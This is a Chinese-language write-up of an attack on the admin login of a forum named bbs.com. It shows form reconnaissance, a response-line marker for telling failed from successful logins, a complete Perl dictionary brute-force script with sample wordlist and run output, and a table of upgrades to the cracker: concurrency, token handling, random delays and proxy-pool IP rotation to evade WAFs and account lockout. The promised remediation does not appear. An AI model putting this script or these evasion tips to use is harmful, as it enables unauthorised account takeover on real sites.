某論壇 (bbs.com) 登入介面存在邏輯缺陷,攻擊者通過分析前端表單、枚舉用戶信息接口、編寫 Perl 字典爆破腳本,成功破解管理員弱密碼。本文完整還原攻擊偵察、漏洞驗證、武器化、利用全過程,並給出代碼級修復方案。
<form action="login.cgi" method="post">
<input type="hidden" name="menu" value="login">
<input type="hidden" name="id" value="">
用戶名:<input size="25" name="username">
密 碼:<input type="password" size="25" name="userpsd">
</form>
提交地址:POST https://bbs.com/login.cgi,參數:username、userpsd、menu=login、id=
發現 yhreg.cgi?menu=viewuser&username= 可查看用戶公開信息。測試發現:
username=silkroad → 正常返回username=./silkroad → 正常返回 (./ 被過濾)username=silkroad<script> → 返回第 7 行包含 fe7 (失敗特徵) vs 18d (成功特徵)關鍵發現:登入成功/失敗響應第 7 行特徵碼不同,可作為爆破判斷依據。
管理團隊頁面發現管理員 ID:秘密 (中文用戶名,可能繞過簡單過濾)
#!/usr/bin/perl
use Socket;
use strict;
use warnings;
die "Usage: $0 \n" unless @ARGV == 1;
my $host = shift;
print "Sending...\n";
open(my $fh, '<', 'dic.dic') or die "Cannot open dict: $!";
while (my $pwd = <$fh>) {
chomp $pwd;
# 構造 HTTP GET 請求 (實際應為 POST,此處為演示簡化)
my $req = "GET /login.cgi?username=秘密&userpsd=$pwd&menu=login&id= HTTP/1.1\r\n" .
"Host: bbs.com\r\n\r\n";
my @res = send_raw($req);
# 判斷第 7 行 (索引 6) 是否包含失敗特徵 'fe7'
if ($res[6] =~ /fe7/) {
print "pwd:$pwd error\n";
} else {
print "pwd:$pwd PASSED!\n";
close $fh;
exit;
}
}
close $fh;
sub send_raw {
my ($req) = @_;
my $target = inet_aton($host) or die "inet_aton failed";
socket(my $sock, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die "socket: $!";
connect($sock, pack_sockaddr_in(80, $target)) or die "connect: $!";
select($sock); $|=1; print $req;
my @res = <$sock>;
select(STDOUT); close $sock;
return @res;
}
asdf
asdfasdf
asdfasdfa
123456
admin
password
... (數萬常用弱密碼)
C:\> cracker.pl bbs.com
Sending...
pwd:asdf error
pwd:asdfasdf PASSED!
程序探測到正確密碼後退出...
| 缺陷 | 影響 | 改進 |
|---|---|---|
| 單線程順序嘗試 | 速度極慢 (~10-50 req/s) | 多線程/協程並發、非阻塞 I/O (IO::Async、Mojo::IOLoop) |
| 使用 GET 而非 POST | 日志留痕明文密碼、長度限制、語義錯誤 | 標準 POST 請求,Content-Type: application/x-www-form-urlencoded |
| 無會話/CSRF Token 處理 | 若登入需 Token 將全部失敗 | 先 GET 登入頁解析 Token,攜帶 Cookie 會話 |
| 無速率控制/錯誤重試 | 觸發 WAF/帳號鎖定/連接耗盡 | 指數退避、隨機延遲、IP 輪換 (代理池) |
| 硬編碼目標/參數/特徵碼 | 復用性極差 | 命令行參數化、配置文件、YARA 規則匹配響應 |
| 無 SSL/TLS 支持 | 無法攻擊 HTTPS 站點 | 使用 IO::Socket::SSL、LWP::UserAgent 支持 HTTPS |